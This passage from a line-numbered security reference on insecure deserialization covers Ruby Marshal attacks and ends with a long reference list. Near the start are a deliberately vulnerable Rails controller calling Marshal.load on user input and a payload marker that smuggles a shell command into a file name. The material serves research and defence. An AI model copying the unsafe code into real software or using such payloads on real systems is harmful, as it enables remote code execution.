Marshal.load(Base64.decode64(user_data)) 1212 render plain: "OK: #{deserialized_user.inspect}" 1213 else 1214 render plain: "No data", status: :bad_request 1215 end 1216 end 1217 end 1218 ``` 1219 1220 - Common gadget classes seen in real chains: `Gem::SpecFetcher`, `Gem::Version`, `Gem::RequestSet::Lockfile`, `Gem::Resolver::GitSpecification`, `Gem::Source::Git`.<sup>[[37]](#references)</sup><sup>[[46]](#references)</sup> 1221 - Typical side-effect marker embedded in payloads (executed during unmarshal): 1222 1223 ```text 1224 *-TmTT="$(id>/tmp/marshal-poc)"any.zip 1225 ``` 1226 1227 Where it surfaces in real apps: 1228 - Rails cache stores and session stores historically using Marshal<sup>[[42]](#references)</sup> 1229 - Background job backends and file-backed object stores 1230 - Any custom persistence or transport of binary object blobs 1231 1232 Industrialized gadget discovery: 1233 - Grep for constructors, `hash`, `_load`, `init_with`, or side-effectful methods invoked during unmarshal<sup>[[38]](#references)</sup> 1234 - Use CodeQL’s Ruby unsafe deserialization queries to trace sources → sinks and surface gadgets<sup>[[39]](#references)</sup> 1235 - Validate with public multi-format PoCs (JSON/XML/YAML/Marshal)<sup>[[40]](#references)</sup><sup>[[45]](#references)</sup> 1236 1237 1238 ## References 1239 1240 - [1] [NotSoSecure – Remote Code Execution via PHP unserialize()](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/) 1241 - [2] [Exploit-DB – Deserialization Vulnerability (PDF)](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) 1242 - [3] [SecurityCafe – Understanding PHP Object Injection](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/) 1243 - [4] [Patchstack advisory – Everest Forms unauthenticated PHP Object Injection (CVE-2025-52709)](https://patchstack.com/articles/critical-vulnerability-impacting-over-100k-sites-patched-in-everest-forms-plugin/) 1244 - [5] [Huli's Blog – Google CTF 2022 Horkos Writeup](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) 1245 - [6] [OPSECX – Exploiting Node.js Deserialization Bug for Remote Code Execution](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) 1246 - [7] [Acunetix – Deserialization Vulnerabilities: Attacking Deserialization in JS](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/) 1247 - [8] [HackerOne Report #350418 – Cryo library RCE](https://hackerone.com/reports/350418) 1248 - [9] [RSC Vuln Lab – CVE-2025-55182 (React 19.2.0 Server Actions)](https://github.com/ghe770mvp/RSC_Vuln_Lab) 1249 - [10] [watchTowr Labs – Is This Bad? This Feels Bad — GoAnywhere CVE-2025-10035](https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/) 1250 - [11] [Foxglove Security – What Do WebLogic, WebSphere, JBoss, Jenkins, OpenNMS, and Your Application Have in Common? This Vulnerability](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/) 1251 - [12] [GadgetInspector talk](https://www.youtube.com/watch?v=wPbW6zQ52w8) 1252 - [13] [BlackHat – Automated Discovery of Deserialization Gadget Chains (slides)](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf) 1253 - [14] [deadcode.me – Blind Java Deserialization: Commons Gadgets](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html) 1254 - [15] [deadcode.me – Blind Java Deserialization Part II](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html) 1255 - [16] [AppSecCali – Marshalling Pickles (Java deserialization talk)](http://frohoff.github.io/appseccali-marshalling-pickles/) 1256 - [17] [YouTube – Java deserialization exploitation talk](https://www.youtube.com/watch?v=VviY3O-euVQ) 1257 - [18] [marshalsec paper](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true) 1258 - [19] [BlackHat – Friday the 13th: JSON Attacks (paper)](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf) 1259 - [20] [BlackHat – Friday the 13th: JSON Attacks (talk)](https://www.youtube.com/watch?v=oUAeWhW5b8c) 1260 - [21] [BlackHat – Friday the 13th: JSON Attacks (slides)](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf) 1261 - [22] [Seebug Paper – Deserialization CVEs](https://paper.seebug.org/123/) 1262 - [23] [OWASP Deserialization Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) 1263 - [24] [DZone – Why Runtime Compartmentalization Is the Most Comprehensive Mitigation](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr) 1264 - [25] [BlackHat – Pwning Your Java Messaging With Deserialization Vulnerabilities (slides)](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf) 1265 - [26] [JMET talk](https://www.youtube.com/watch?v=0h8DWiOWGGA) 1266 - [27] [Forshaw – Are You My Type? (BlackHat 2012 paper)](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf) 1267 - [28] [SlideShare – Dangerous Contents: Securing .Net Deserialization](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization) 1268 - [29] [Microsoft Security Intelligence – CVE-2025-59287 WSUS unsafe deserialization](https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Behavior%3AWin32%2FSuspWsusActivity.A&ThreatID=2147955104) 1269 - [30] [PoC – tecxx/CVE-2025-59287-WSUS](https://github.com/tecxx/CVE-2025-59287-WSUS) 1270 - [31] [CodeClimate – Rails Remote Code Execution Vulnerability Explained](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/) 1271 - [32] [StarLabs – Sending Myself GitHub.com Environment Variables and GHES Shell (archived)](https://web.archive.org/web/20260000000000id_/https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/) 1272 - [33] [GitHub Blog – Execute Commands by Sending JSON: Learn How Unsafe Deserialization Vulnerabilities Work in Ruby Projects](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/) 1273 - [34] [Conviso AppSec – From Arbitrary File Write to RCE in Restricted Rails Apps](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/) 1274 - [35] [Trail of Bits – Marshal madness: A brief history of Ruby deserialization exploits](https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/) 1275 - [36] [elttam – Ruby 2.x Universal RCE Deserialization Gadget Chain](https://www.elttam.com/blog/ruby-deserialization/) 1276 - [37] [Trail of Bits – Auditing RubyGems.org (Marshal findings)](https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/) 1277 - [38] [Include Security – Discovering Deserialization Gadget Chains in Rubyland](https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/) 1278 - [39] [GitHub Security Lab – Ruby Unsafe Deserialization (CodeQL query help)](https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/) 1279 - [40] [GitHub Security Lab – Ruby Unsafe Deserialization PoCs repo](https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization) 1280 - [41] [OWASP Deserialization Cheat Sheet - .NET/C#](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp) 1281 - [42] [Phrack #69 - Rails 3/4 Marshal chain](https://phrack.org/issues/69/12.html) 1282 - [43] [CVE-2019-5420 (Rails 5.2 insecure deserialization)](https://nvd.nist.gov/vuln/detail/CVE-2019-5420) 1283 - [44] [ZDI - RCE via Ruby on Rails Active Storage insecure deserialization](https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization) 1284 - [45] [Doyensec PR - Ruby 3.4 gadget](https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1) 1285 - [46] [Luke Jahnke - Ruby 3.4 universal chain](https://nastystereo.com/security/ruby-3.4-deserialization.html) 1286 - [47] [Luke Jahnke - Gem::SafeMarshal escape](https://nastystereo.com/security/ruby-safe-marshal-escape.html) 1287 - [48] [Ruby 3.4.0-rc1 release](https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1) 1288 - [49] [Ruby PR #12444 - Merge RubyGems 3.6.2 and Bundler 2.6.2](https://github.com/ruby/ruby/pull/12444) 1289 - [50] [NCC Group – Freddy](https://github.com/nccgroup/freddy) 1290 - [51] [es.slideshare.net - Java Deserialization Vulnerabilities The Forgotten Bug Class](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1) 1291 - [52] [alphabot.com - Fastjson Exceptional Deserialization Vulnerabilities](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html) 1292 - [53] [elttam – Ruby 4.0 Universal RCE Deserialization Gadget Chain](https://elttam.com/blog/ruby-4-0-universal-rce-deserialization-gadget-chain)